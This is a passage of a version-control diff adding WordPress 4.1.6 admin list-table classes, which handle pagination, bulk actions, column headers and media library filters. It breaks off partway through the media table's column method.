+		if ( ! headers_sent() && ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) && $args['total_pages'] > 0 && $this->get_pagenum() > $args['total_pages'] ) {
+			wp_redirect( add_query_arg( 'paged', $args['total_pages'] ) );
+			exit;
+		}
+
+		$this->_pagination_args = $args;
+	}
+
+	/**
+	 * Access the pagination args.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param string $key Pagination argument to retrieve. Common values include 'total_items',
+	 *                    'total_pages', 'per_page', or 'infinite_scroll'.
+	 * @return int Number of items that correspond to the given pagination argument.
+	 */
+	public function get_pagination_arg( $key ) {
+		if ( 'page' == $key )
+			return $this->get_pagenum();
+
+		if ( isset( $this->_pagination_args[$key] ) )
+			return $this->_pagination_args[$key];
+	}
+
+	/**
+	 * Whether the table has items to display or not
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	public function has_items() {
+		return !empty( $this->items );
+	}
+
+	/**
+	 * Message to be displayed when there are no items
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function no_items() {
+		_e( 'No items found.' );
+	}
+
+	/**
+	 * Display the search box.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param string $text The search button text
+	 * @param string $input_id The search input id
+	 */
+	public function search_box( $text, $input_id ) {
+		if ( empty( $_REQUEST['s'] ) && !$this->has_items() )
+			return;
+
+		$input_id = $input_id . '-search-input';
+
+		if ( ! empty( $_REQUEST['orderby'] ) )
+			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
+		if ( ! empty( $_REQUEST['order'] ) )
+			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
+		if ( ! empty( $_REQUEST['post_mime_type'] ) )
+			echo '<input type="hidden" name="post_mime_type" value="' . esc_attr( $_REQUEST['post_mime_type'] ) . '" />';
+		if ( ! empty( $_REQUEST['detached'] ) )
+			echo '<input type="hidden" name="detached" value="' . esc_attr( $_REQUEST['detached'] ) . '" />';
+?>
+<p class="search-box">
+	<label class="screen-reader-text" for="<?php echo $input_id ?>"><?php echo $text; ?>:</label>
+	<input type="search" id="<?php echo $input_id ?>" name="s" value="<?php _admin_search_query(); ?>" />
+	<?php submit_button( $text, 'button', false, false, array('id' => 'search-submit') ); ?>
+</p>
+<?php
+	}
+
+	/**
+	 * Get an associative array ( id => link ) with the list
+	 * of views available on this table.
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @return array
+	 */
+	protected function get_views() {
+		return array();
+	}
+
+	/**
+	 * Display the list of views available on this table.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function views() {
+		$views = $this->get_views();
+		/**
+		 * Filter the list of available list table views.
+		 *
+		 * The dynamic portion of the hook name, `$this->screen->id`, refers
+		 * to the ID of the current screen, usually a string.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array $views An array of available list table views.
+		 */
+		$views = apply_filters( "views_{$this->screen->id}", $views );
+
+		if ( empty( $views ) )
+			return;
+
+		echo "<ul class='subsubsub'>\n";
+		foreach ( $views as $class => $view ) {
+			$views[ $class ] = "\t<li class='$class'>$view";
+		}
+		echo implode( " |</li>\n", $views ) . "</li>\n";
+		echo "</ul>";
+	}
+
+	/**
+	 * Get an associative array ( option_name => option_title ) with the list
+	 * of bulk actions available on this table.
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		return array();
+	}
+
+	/**
+	 * Display the bulk actions dropdown.
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param string $which The location of the bulk actions: 'top' or 'bottom'.
+	 *                      This is designated as optional for backwards-compatibility.
+	 */
+	protected function bulk_actions( $which = '' ) {
+		if ( is_null( $this->_actions ) ) {
+			$no_new_actions = $this->_actions = $this->get_bulk_actions();
+			/**
+			 * Filter the list table Bulk Actions drop-down.
+			 *
+			 * The dynamic portion of the hook name, `$this->screen->id`, refers
+			 * to the ID of the current screen, usually a string.
+			 *
+			 * This filter can currently only be used to remove bulk actions.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param array $actions An array of the available bulk actions.
+			 */
+			$this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions );
+			$this->_actions = array_intersect_assoc( $this->_actions, $no_new_actions );
+			$two = '';
+		} else {
+			$two = '2';
+		}
+
+		if ( empty( $this->_actions ) )
+			return;
+
+		echo "<label for='bulk-action-selector-" . esc_attr( $which ) . "' class='screen-reader-text'>" . __( 'Select bulk action' ) . "</label>";
+		echo "<select name='action$two' id='bulk-action-selector-" . esc_attr( $which ) . "'>\n";
+		echo "<option value='-1' selected='selected'>" . __( 'Bulk Actions' ) . "</option>\n";
+
+		foreach ( $this->_actions as $name => $title ) {
+			$class = 'edit' == $name ? ' class="hide-if-no-js"' : '';
+
+			echo "\t<option value='$name'$class>$title</option>\n";
+		}
+
+		echo "</select>\n";
+
+		submit_button( __( 'Apply' ), 'action', false, false, array( 'id' => "doaction$two" ) );
+		echo "\n";
+	}
+
+	/**
+	 * Get the current action selected from the bulk actions dropdown.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @return string|bool The action name or False if no action was selected
+	 */
+	public function current_action() {
+		if ( isset( $_REQUEST['filter_action'] ) && ! empty( $_REQUEST['filter_action'] ) )
+			return false;
+
+		if ( isset( $_REQUEST['action'] ) && -1 != $_REQUEST['action'] )
+			return $_REQUEST['action'];
+
+		if ( isset( $_REQUEST['action2'] ) && -1 != $_REQUEST['action2'] )
+			return $_REQUEST['action2'];
+
+		return false;
+	}
+
+	/**
+	 * Generate row actions div
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param array $actions The list of actions
+	 * @param bool $always_visible Whether the actions should be always visible
+	 * @return string
+	 */
+	protected function row_actions( $actions, $always_visible = false ) {
+		$action_count = count( $actions );
+		$i = 0;
+
+		if ( !$action_count )
+			return '';
+
+		$out = '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			$out .= "<span class='$action'>$link$sep</span>";
+		}
+		$out .= '</div>';
+
+		return $out;
+	}
+
+	/**
+	 * Display a monthly dropdown for filtering items
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param string $post_type
+	 */
+	protected function months_dropdown( $post_type ) {
+		global $wpdb, $wp_locale;
+
+		$months = $wpdb->get_results( $wpdb->prepare( "
+			SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
+			FROM $wpdb->posts
+			WHERE post_type = %s
+			ORDER BY post_date DESC
+		", $post_type ) );
+
+		/**
+		 * Filter the 'Months' drop-down results.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param object $months    The months drop-down query results.
+		 * @param string $post_type The post type.
+		 */
+		$months = apply_filters( 'months_dropdown_results', $months, $post_type );
+
+		$month_count = count( $months );
+
+		if ( !$month_count || ( 1 == $month_count && 0 == $months[0]->month ) )
+			return;
+
+		$m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0;
+?>
+		<label for="filter-by-date" class="screen-reader-text"><?php _e( 'Filter by date' ); ?></label>
+		<select name="m" id="filter-by-date">
+			<option<?php selected( $m, 0 ); ?> value="0"><?php _e( 'All dates' ); ?></option>
+<?php
+		foreach ( $months as $arc_row ) {
+			if ( 0 == $arc_row->year )
+				continue;
+
+			$month = zeroise( $arc_row->month, 2 );
+			$year = $arc_row->year;
+
+			printf( "<option %s value='%s'>%s</option>\n",
+				selected( $m, $year . $month, false ),
+				esc_attr( $arc_row->year . $month ),
+				/* translators: 1: month name, 2: 4-digit year */
+				sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month ), $year )
+			);
+		}
+?>
+		</select>
+<?php
+	}
+
+	/**
+	 * Display a view switcher
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param string $current_mode
+	 */
+	protected function view_switcher( $current_mode ) {
+?>
+		<input type="hidden" name="mode" value="<?php echo esc_attr( $current_mode ); ?>" />
+		<div class="view-switch">
+<?php
+			foreach ( $this->modes as $mode => $title ) {
+				$classes = array( 'view-' . $mode );
+				if ( $current_mode == $mode )
+					$classes[] = 'current';
+				printf(
+					"<a href='%s' class='%s' id='view-switch-$mode'><span class='screen-reader-text'>%s</span></a>\n",
+					esc_url( add_query_arg( 'mode', $mode ) ),
+					implode( ' ', $classes ),
+					$title
+				);
+			}
+		?>
+		</div>
+<?php
+	}
+
+	/**
+	 * Display a comment count bubble
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param int $post_id          The post ID.
+	 * @param int $pending_comments Number of pending comments.
+	 */
+	protected function comments_bubble( $post_id, $pending_comments ) {
+		$pending_phrase = sprintf( __( '%s pending' ), number_format( $pending_comments ) );
+
+		if ( $pending_comments )
+			echo '<strong>';
+
+		echo "<a href='" . esc_url( add_query_arg( 'p', $post_id, admin_url( 'edit-comments.php' ) ) ) . "' title='" . esc_attr( $pending_phrase ) . "' class='post-com-count'><span class='comment-count'>" . number_format_i18n( get_comments_number() ) . "</span></a>";
+
+		if ( $pending_comments )
+			echo '</strong>';
+	}
+
+	/**
+	 * Get the current page number
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @return int
+	 */
+	public function get_pagenum() {
+		$pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0;
+
+		if( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] )
+			$pagenum = $this->_pagination_args['total_pages'];
+
+		return max( 1, $pagenum );
+	}
+
+	/**
+	 * Get number of items to display on a single page
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param string $option
+	 * @param int    $default
+	 * @return int
+	 */
+	protected function get_items_per_page( $option, $default = 20 ) {
+		$per_page = (int) get_user_option( $option );
+		if ( empty( $per_page ) || $per_page < 1 )
+			$per_page = $default;
+
+		/**
+		 * Filter the number of items to be displayed on each page of the list table.
+		 *
+		 * The dynamic hook name, $option, refers to the `per_page` option depending
+		 * on the type of list table in use. Possible values include: 'edit_comments_per_page',
+		 * 'sites_network_per_page', 'site_themes_network_per_page', 'themes_network_per_page',
+		 * 'users_network_per_page', 'edit_post_per_page', 'edit_page_per_page',
+		 * 'edit_{$post_type}_per_page', etc.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $per_page Number of items to be displayed. Default 20.
+		 */
+		return (int) apply_filters( $option, $per_page );
+	}
+
+	/**
+	 * Display the pagination.
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		if ( empty( $this->_pagination_args ) ) {
+			return;
+		}
+
+		$total_items = $this->_pagination_args['total_items'];
+		$total_pages = $this->_pagination_args['total_pages'];
+		$infinite_scroll = false;
+		if ( isset( $this->_pagination_args['infinite_scroll'] ) ) {
+			$infinite_scroll = $this->_pagination_args['infinite_scroll'];
+		}
+
+		$output = '<span class="displaying-num">' . sprintf( _n( '1 item', '%s items', $total_items ), number_format_i18n( $total_items ) ) . '</span>';
+
+		$current = $this->get_pagenum();
+
+		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+
+		$current_url = remove_query_arg( array( 'hotkeys_highlight_last', 'hotkeys_highlight_first' ), $current_url );
+
+		$page_links = array();
+
+		$disable_first = $disable_last = '';
+		if ( $current == 1 ) {
+			$disable_first = ' disabled';
+		}
+		if ( $current == $total_pages ) {
+			$disable_last = ' disabled';
+		}
+		$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
+			'first-page' . $disable_first,
+			esc_attr__( 'Go to the first page' ),
+			esc_url( remove_query_arg( 'paged', $current_url ) ),
+			'&laquo;'
+		);
+
+		$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
+			'prev-page' . $disable_first,
+			esc_attr__( 'Go to the previous page' ),
+			esc_url( add_query_arg( 'paged', max( 1, $current-1 ), $current_url ) ),
+			'&lsaquo;'
+		);
+
+		if ( 'bottom' == $which ) {
+			$html_current_page = $current;
+		} else {
+			$html_current_page = sprintf( "%s<input class='current-page' id='current-page-selector' title='%s' type='text' name='paged' value='%s' size='%d' />",
+				'<label for="current-page-selector" class="screen-reader-text">' . __( 'Select Page' ) . '</label>',
+				esc_attr__( 'Current page' ),
+				$current,
+				strlen( $total_pages )
+			);
+		}
+		$html_total_pages = sprintf( "<span class='total-pages'>%s</span>", number_format_i18n( $total_pages ) );
+		$page_links[] = '<span class="paging-input">' . sprintf( _x( '%1$s of %2$s', 'paging' ), $html_current_page, $html_total_pages ) . '</span>';
+
+		$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
+			'next-page' . $disable_last,
+			esc_attr__( 'Go to the next page' ),
+			esc_url( add_query_arg( 'paged', min( $total_pages, $current+1 ), $current_url ) ),
+			'&rsaquo;'
+		);
+
+		$page_links[] = sprintf( "<a class='%s' title='%s' href='%s'>%s</a>",
+			'last-page' . $disable_last,
+			esc_attr__( 'Go to the last page' ),
+			esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
+			'&raquo;'
+		);
+
+		$pagination_links_class = 'pagination-links';
+		if ( ! empty( $infinite_scroll ) ) {
+			$pagination_links_class = ' hide-if-js';
+		}
+		$output .= "\n<span class='$pagination_links_class'>" . join( "\n", $page_links ) . '</span>';
+
+		if ( $total_pages ) {
+			$page_class = $total_pages < 2 ? ' one-page' : '';
+		} else {
+			$page_class = ' no-pages';
+		}
+		$this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";
+
+		echo $this->_pagination;
+	}
+
+	/**
+	 * Get a list of columns. The format is:
+	 * 'internal-name' => 'Title'
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @abstract
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		die( 'function WP_List_Table::get_columns() must be over-ridden in a sub-class.' );
+	}
+
+	/**
+	 * Get a list of sortable columns. The format is:
+	 * 'internal-name' => 'orderby'
+	 * or
+	 * 'internal-name' => array( 'orderby', true )
+	 *
+	 * The second format will make the initial sorting order be descending
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array();
+	}
+
+	/**
+	 * Get a list of all, hidden and sortable columns, with filter applied
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @return array
+	 */
+	protected function get_column_info() {
+		if ( isset( $this->_column_headers ) )
+			return $this->_column_headers;
+
+		$columns = get_column_headers( $this->screen );
+		$hidden = get_hidden_columns( $this->screen );
+
+		$sortable_columns = $this->get_sortable_columns();
+		/**
+		 * Filter the list table sortable columns for a specific screen.
+		 *
+		 * The dynamic portion of the hook name, `$this->screen->id`, refers
+		 * to the ID of the current screen, usually a string.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array $sortable_columns An array of sortable columns.
+		 */
+		$_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns );
+
+		$sortable = array();
+		foreach ( $_sortable as $id => $data ) {
+			if ( empty( $data ) )
+				continue;
+
+			$data = (array) $data;
+			if ( !isset( $data[1] ) )
+				$data[1] = false;
+
+			$sortable[$id] = $data;
+		}
+
+		$this->_column_headers = array( $columns, $hidden, $sortable );
+
+		return $this->_column_headers;
+	}
+
+	/**
+	 * Return number of visible columns
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @return int
+	 */
+	public function get_column_count() {
+		list ( $columns, $hidden ) = $this->get_column_info();
+		$hidden = array_intersect( array_keys( $columns ), array_filter( $hidden ) );
+		return count( $columns ) - count( $hidden );
+	}
+
+	/**
+	 * Print column headers, accounting for hidden and sortable columns.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param bool $with_id Whether to set the id attribute or not
+	 */
+	public function print_column_headers( $with_id = true ) {
+		list( $columns, $hidden, $sortable ) = $this->get_column_info();
+
+		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+		$current_url = remove_query_arg( 'paged', $current_url );
+
+		if ( isset( $_GET['orderby'] ) )
+			$current_orderby = $_GET['orderby'];
+		else
+			$current_orderby = '';
+
+		if ( isset( $_GET['order'] ) && 'desc' == $_GET['order'] )
+			$current_order = 'desc';
+		else
+			$current_order = 'asc';
+
+		if ( ! empty( $columns['cb'] ) ) {
+			static $cb_counter = 1;
+			$columns['cb'] = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . __( 'Select All' ) . '</label>'
+				. '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />';
+			$cb_counter++;
+		}
+
+		foreach ( $columns as $column_key => $column_display_name ) {
+			$class = array( 'manage-column', "column-$column_key" );
+
+			$style = '';
+			if ( in_array( $column_key, $hidden ) )
+				$style = 'display:none;';
+
+			$style = ' style="' . $style . '"';
+
+			if ( 'cb' == $column_key )
+				$class[] = 'check-column';
+			elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ) ) )
+				$class[] = 'num';
+
+			if ( isset( $sortable[$column_key] ) ) {
+				list( $orderby, $desc_first ) = $sortable[$column_key];
+
+				if ( $current_orderby == $orderby ) {
+					$order = 'asc' == $current_order ? 'desc' : 'asc';
+					$class[] = 'sorted';
+					$class[] = $current_order;
+				} else {
+					$order = $desc_first ? 'desc' : 'asc';
+					$class[] = 'sortable';
+					$class[] = $desc_first ? 'asc' : 'desc';
+				}
+
+				$column_display_name = '<a href="' . esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ) . '"><span>' . $column_display_name . '</span><span class="sorting-indicator"></span></a>';
+			}
+
+			$id = $with_id ? "id='$column_key'" : '';
+
+			if ( !empty( $class ) )
+				$class = "class='" . join( ' ', $class ) . "'";
+
+			echo "<th scope='col' $id $class $style>$column_display_name</th>";
+		}
+	}
+
+	/**
+	 * Display the table
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function display() {
+		$singular = $this->_args['singular'];
+
+		$this->display_tablenav( 'top' );
+
+?>
+<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
+	<thead>
+	<tr>
+		<?php $this->print_column_headers(); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+		<?php $this->print_column_headers( false ); ?>
+	</tr>
+	</tfoot>
+
+	<tbody id="the-list"<?php
+		if ( $singular ) {
+			echo " data-wp-lists='list:$singular'";
+		} ?>>
+		<?php $this->display_rows_or_placeholder(); ?>
+	</tbody>
+</table>
+<?php
+		$this->display_tablenav( 'bottom' );
+	}
+
+	/**
+	 * Get a list of CSS classes for the list table table tag.
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @return array List of CSS classes for the table tag.
+	 */
+	protected function get_table_classes() {
+		return array( 'widefat', 'fixed', $this->_args['plural'] );
+	}
+
+	/**
+	 * Generate the table navigation above or below the table
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 * @param string $which
+	 */
+	protected function display_tablenav( $which ) {
+		if ( 'top' == $which )
+			wp_nonce_field( 'bulk-' . $this->_args['plural'] );
+?>
+	<div class="tablenav <?php echo esc_attr( $which ); ?>">
+
+		<div class="alignleft actions bulkactions">
+			<?php $this->bulk_actions( $which ); ?>
+		</div>
+<?php
+		$this->extra_tablenav( $which );
+		$this->pagination( $which );
+?>
+
+		<br class="clear" />
+	</div>
+<?php
+	}
+
+	/**
+	 * Extra controls to be displayed between bulk actions and pagination
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {}
+
+	/**
+	 * Generate the tbody element for the list table.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function display_rows_or_placeholder() {
+		if ( $this->has_items() ) {
+			$this->display_rows();
+		} else {
+			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
+			$this->no_items();
+			echo '</td></tr>';
+		}
+	}
+
+	/**
+	 * Generate the table rows
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function display_rows() {
+		foreach ( $this->items as $item )
+			$this->single_row( $item );
+	}
+
+	/**
+	 * Generates content for a single row of the table
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param object $item The current item
+	 */
+	public function single_row( $item ) {
+		static $row_class = '';
+		$row_class = ( $row_class == '' ? ' class="alternate"' : '' );
+
+		echo '<tr' . $row_class . '>';
+		$this->single_row_columns( $item );
+		echo '</tr>';
+	}
+
+	/**
+	 * Generates the columns for a single row of the table
+	 *
+	 * @since 3.1.0
+	 * @access protected
+	 *
+	 * @param object $item The current item
+	 */
+	protected function single_row_columns( $item ) {
+		list( $columns, $hidden ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$class = "class='$column_name column-$column_name'";
+
+			$style = '';
+			if ( in_array( $column_name, $hidden ) )
+				$style = ' style="display:none;"';
+
+			$attributes = "$class$style";
+
+			if ( 'cb' == $column_name ) {
+				echo '<th scope="row" class="check-column">';
+				echo $this->column_cb( $item );
+				echo '</th>';
+			}
+			elseif ( method_exists( $this, 'column_' . $column_name ) ) {
+				echo "<td $attributes>";
+				echo call_user_func( array( $this, 'column_' . $column_name ), $item );
+				echo "</td>";
+			}
+			else {
+				echo "<td $attributes>";
+				echo $this->column_default( $item, $column_name );
+				echo "</td>";
+			}
+		}
+	}
+
+	/**
+	 * Handle an incoming ajax request (called from admin-ajax.php)
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 */
+	public function ajax_response() {
+		$this->prepare_items();
+
+		ob_start();
+		if ( ! empty( $_REQUEST['no_placeholder'] ) ) {
+			$this->display_rows();
+		} else {
+			$this->display_rows_or_placeholder();
+		}
+
+		$rows = ob_get_clean();
+
+		$response = array( 'rows' => $rows );
+
+		if ( isset( $this->_pagination_args['total_items'] ) ) {
+			$response['total_items_i18n'] = sprintf(
+				_n( '1 item', '%s items', $this->_pagination_args['total_items'] ),
+				number_format_i18n( $this->_pagination_args['total_items'] )
+			);
+		}
+		if ( isset( $this->_pagination_args['total_pages'] ) ) {
+			$response['total_pages'] = $this->_pagination_args['total_pages'];
+			$response['total_pages_i18n'] = number_format_i18n( $this->_pagination_args['total_pages'] );
+		}
+
+		die( wp_json_encode( $response ) );
+	}
+
+	/**
+	 * Send required variables to JavaScript land
+	 *
+	 * @access public
+	 */
+	public function _js_vars() {
+		$args = array(
+			'class'  => get_class( $this ),
+			'screen' => array(
+				'id'   => $this->screen->id,
+				'base' => $this->screen->base,
+			)
+		);
+
+		printf( "<script type='text/javascript'>list_args = %s;</script>\n", wp_json_encode( $args ) );
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-media-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-media-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-media-list-table.php	(revision 33402)
@@ -0,0 +1,555 @@
+<?php
+/**
+ * Media Library List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Media_List_Table extends WP_List_Table {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		$this->detached = ( isset( $_REQUEST['attachment-filter'] ) && 'detached' === $_REQUEST['attachment-filter'] );
+
+		$this->modes = array(
+			'list' => __( 'List View' ),
+			'grid' => __( 'Grid View' )
+		);
+
+		parent::__construct( array(
+			'plural' => 'media',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	public function ajax_user_can() {
+		return current_user_can('upload_files');
+	}
+
+	public function prepare_items() {
+		global $wp_query, $post_mime_types, $avail_post_mime_types, $mode;
+
+		list( $post_mime_types, $avail_post_mime_types ) = wp_edit_attachments_query( $_REQUEST );
+
+ 		$this->is_trash = isset( $_REQUEST['attachment-filter'] ) && 'trash' == $_REQUEST['attachment-filter'];
+
+ 		$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];
+
+		$this->set_pagination_args( array(
+			'total_items' => $wp_query->found_posts,
+			'total_pages' => $wp_query->max_num_pages,
+			'per_page' => $wp_query->query_vars['posts_per_page'],
+		) );
+	}
+
+	protected function get_views() {
+		global $wpdb, $post_mime_types, $avail_post_mime_types;
+
+		$type_links = array();
+		$_num_posts = (array) wp_count_attachments();
+		$_total_posts = array_sum($_num_posts) - $_num_posts['trash'];
+		$total_orphans = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent < 1" );
+		$matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
+		foreach ( $matches as $type => $reals )
+			foreach ( $reals as $real )
+				$num_posts[$type] = ( isset( $num_posts[$type] ) ) ? $num_posts[$type] + $_num_posts[$real] : $_num_posts[$real];
+
+		$selected = empty( $_GET['attachment-filter'] ) ? ' selected="selected"' : '';
+		$type_links['all'] = "<option value=''$selected>" . sprintf( _nx( 'All (%s)', 'All (%s)', $_total_posts, 'uploaded files' ), number_format_i18n( $_total_posts ) ) . '</option>';
+		foreach ( $post_mime_types as $mime_type => $label ) {
+			if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) )
+				continue;
+
+			$selected = '';
+			if ( !empty( $_GET['attachment-filter'] ) && strpos( $_GET['attachment-filter'], 'post_mime_type:' ) === 0 && wp_match_mime_types( $mime_type, str_replace( 'post_mime_type:', '', $_GET['attachment-filter'] ) ) )
+				$selected = ' selected="selected"';
+			if ( !empty( $num_posts[$mime_type] ) )
+				$type_links[$mime_type] = '<option value="post_mime_type:' . sanitize_mime_type( $mime_type ) . '"' . $selected . '>' . sprintf( translate_nooped_plural( $label[2], $num_posts[$mime_type] ), number_format_i18n( $num_posts[$mime_type] )) . '</option>';
+		}
+		$type_links['detached'] = '<option value="detached"' . ( $this->detached ? ' selected="selected"' : '' ) . '>' . sprintf( _nx( 'Unattached (%s)', 'Unattached (%s)', $total_orphans, 'detached files' ), number_format_i18n( $total_orphans ) ) . '</option>';
+
+		if ( !empty($_num_posts['trash']) )
+			$type_links['trash'] = '<option value="trash"' . ( (isset($_GET['attachment-filter']) && $_GET['attachment-filter'] == 'trash' ) ? ' selected="selected"' : '') . '>' . sprintf( _nx( 'Trash (%s)', 'Trash (%s)', $_num_posts['trash'], 'uploaded files' ), number_format_i18n( $_num_posts['trash'] ) ) . '</option>';
+
+		return $type_links;
+	}
+
+	protected function get_bulk_actions() {
+		$actions = array();
+		if ( MEDIA_TRASH ) {
+			if ( $this->is_trash ) {
+				$actions['untrash'] = __( 'Restore' );
+				$actions['delete'] = __( 'Delete Permanently' );
+			} else {
+				$actions['trash'] = __( 'Trash' );
+			}
+		} else {
+			$actions['delete'] = __( 'Delete Permanently' );
+		}
+
+		if ( $this->detached )
+			$actions['attach'] = __( 'Attach to a post' );
+
+		return $actions;
+	}
+
+	/**
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {
+		if ( 'bar' !== $which ) {
+			return;
+		}
+?>
+		<div class="actions">
+<?php
+		if ( ! is_singular() ) {
+			if ( ! $this->is_trash ) {
+				$this->months_dropdown( 'attachment' );
+			}
+
+			/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
+			do_action( 'restrict_manage_posts' );
+			submit_button( __( 'Filter' ), 'button', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+		}
+
+		if ( $this->is_trash && current_user_can( 'edit_others_posts' ) ) {
+			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
+		} ?>
+		</div>
+<?php
+	}
+
+	public function current_action() {
+		if ( isset( $_REQUEST['found_post_id'] ) && isset( $_REQUEST['media'] ) )
+			return 'attach';
+
+		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
+			return 'delete_all';
+
+		return parent::current_action();
+	}
+
+	public function has_items() {
+		return have_posts();
+	}
+
+	public function no_items() {
+		_e( 'No media attachments found.' );
+	}
+
+	/**
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		parent::pagination( $which );
+	}
+
+	/**
+	 * Override parent views so we can use the filter bar display.
+	 */
+	public function views() {
+		global $mode;
+
+		$views = $this->get_views();
+?>
+<div class="wp-filter">
+	<div class="filter-items">
+		<?php $this->view_switcher( $mode ); ?>
+
+		<select class="attachment-filters" name="attachment-filter">
+			<?php
+			if ( ! empty( $views ) ) {
+				foreach ( $views as $class => $view ) {
+					echo "\t$view\n";
+				}
+			}
+			?>
+		</select>
+
+<?php
+		$this->extra_tablenav( 'bar' );
+
+		/** This filter is documented in wp-admin/inclues/class-wp-list-table.php */
+		$views = apply_filters( "views_{$this->screen->id}", array() );
+
+		// Back compat for pre-4.0 view links.
+		if ( ! empty( $views ) ) {
+			echo '<ul class="filter-links">';
+			foreach ( $views as $class => $view ) {
+				echo "<li class='$class'>$view</li>";
+			}
+			echo '</ul>';
+		}
+?>
+	</div>
+
+	<div class="search-form">
+		<label for="media-search-input" class="screen-reader-text"><?php esc_html_e( 'Search Media' ); ?></label>
+		<input type="search" placeholder="<?php esc_attr_e( 'Search' ) ?>" id="media-search-input" class="search" name="s" value="<?php _admin_search_query(); ?>"></div>
+	</div>
+	<?php
+	}
+
+	public function get_columns() {
+		$posts_columns = array();
